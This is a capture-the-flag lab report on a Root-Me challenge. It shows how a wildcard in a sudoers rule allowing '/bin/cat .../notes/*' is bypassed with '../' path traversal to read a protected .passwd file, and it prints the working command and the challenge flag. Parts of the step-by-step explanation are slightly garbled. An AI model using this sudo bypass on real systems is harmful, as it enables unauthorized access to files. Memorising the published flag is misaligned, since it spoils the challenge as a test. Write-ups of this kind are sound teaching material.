

Sudo Misconfiguration Report - 22.5.1 - 22

Tester's name: Stanley Ford

Lab №22.5.1 "Sudo Misconfiguration" :

- General information:
 - Testing period: 01.04.2023
 - Test object: challenge02.root-me.org
- Description of actions:

When I connected to the ssh server, the first thing I did was check the id, whoami, uname -a commands to understand what I was working with.

```
kali@kali: ~  
File Actions Edit View Help  
app-script-ch1@challenge02:~$ id  
uid=1301(app-script-ch1) gid=1301(app-script-ch1) groups=1301(app-script-ch1),100(users)  
app-script-ch1@challenge02:~$ uname -a  
Linux challenge02 5.4.0-146-generic #163~18.04.1-Ubuntu SMP Mon Mar 20 15:02:43 UTC 2023 i686 i686 i686 GNU/Linux  
app-script-ch1@challenge02:~$ whoami  
app-script-ch1  
app-script-ch1@challenge02:~$
```

Next, I looked at the contents of the working directory using ls -al:

```
app-script-ch1@challenge02:~$ ls -al  
total 28  
dr-xr-x--- 4 app-script-ch1-cracked app-script-ch1 4096 Dec 10 2021 .  
drwxr-xr-x 24 root root 4096 Mar 22 15:29 ..  
dr-xr-x--- 2 app-script-ch1-cracked app-script-ch1-cracked 4096 Dec 10 2021 ch1cracked  
-rw-r----- 1 root root 42 Dec 10 2021 .git  
dr-xr-x--- 2 app-script-ch1-cracked app-script-ch1 4096 Dec 10 2021 notes  
-r----- 1 root root 921 Dec 10 2021 ._perms  
-rw-r----- 1 app-script-ch1 app-script-ch1 217 Dec 10 2021 readme.md
```

For my user app-script-ch1, there is a file available readme.md which is worth reading:

```
app-script-ch1@challenge02:~$ cat readme.md  
Vous devez réussir à lire le fichier .passwd situé dans le chemin suivant :  
/challenge/app-script/ch1/ch1cracked/  
  
You have to read the .passwd located in the following PATH :  
/challenge/app-script/ch1/ch1cracked/  
app-script-ch1@challenge02:~$
```

Thus, the flag you are looking for lies in .passwd along the above path.

Next, I used the `sudo -l` command to see what actions the sudoers are allowed to do:

```
app-script-ch1@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch1 on challenge02:
  env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always,
  !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch1 may run the following commands on challenge02:
  (app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*
app-script-ch1@challenge02:~$
```

Thus, with `sudo`, we can only run the command `/bin/cat /challenge/app-script/ch1/notes/*` on behalf of our user.

* At the end of the path, there is a weak point. This symbol means that you can substitute anything for it and execute any command, as long as the part of the path to it coincides. That is, you can run the command:

```
sudo -u app-script-ch1-cracked cat /challenge/appscript/ch1/notes/../../ch1cracked/.passwd
```

It will run the `/bin/cat` binary as `app-script-cracked` and read the file at `../../notes`, will go up one directory `../` and will go to `ch1cracked/.passwd`, where the flag is:

```
app-script-ch1@challenge02:~$ sudo -u app-script-ch1-cracked cat /challenge/app-script/ch1/notes/../../ch1cracked/.passwd
b3_c4r3ful_w1th_sud0
app-script-ch1@challenge02:~$
```

Flag:

b3_c4r3ful_w1th_sud0

Lab work is done.

Self-Assessment Questions:

- List the tools (programs and utilities) that you used to solve this lab:

Kali Linux terminal

- List the vulnerabilities you've discovered:

Sudo Misconfiguration

- Give advice on how to improve protection:

Specify the specific path of the allowed commands so that it is not possible to exploit them by jumping up the directory.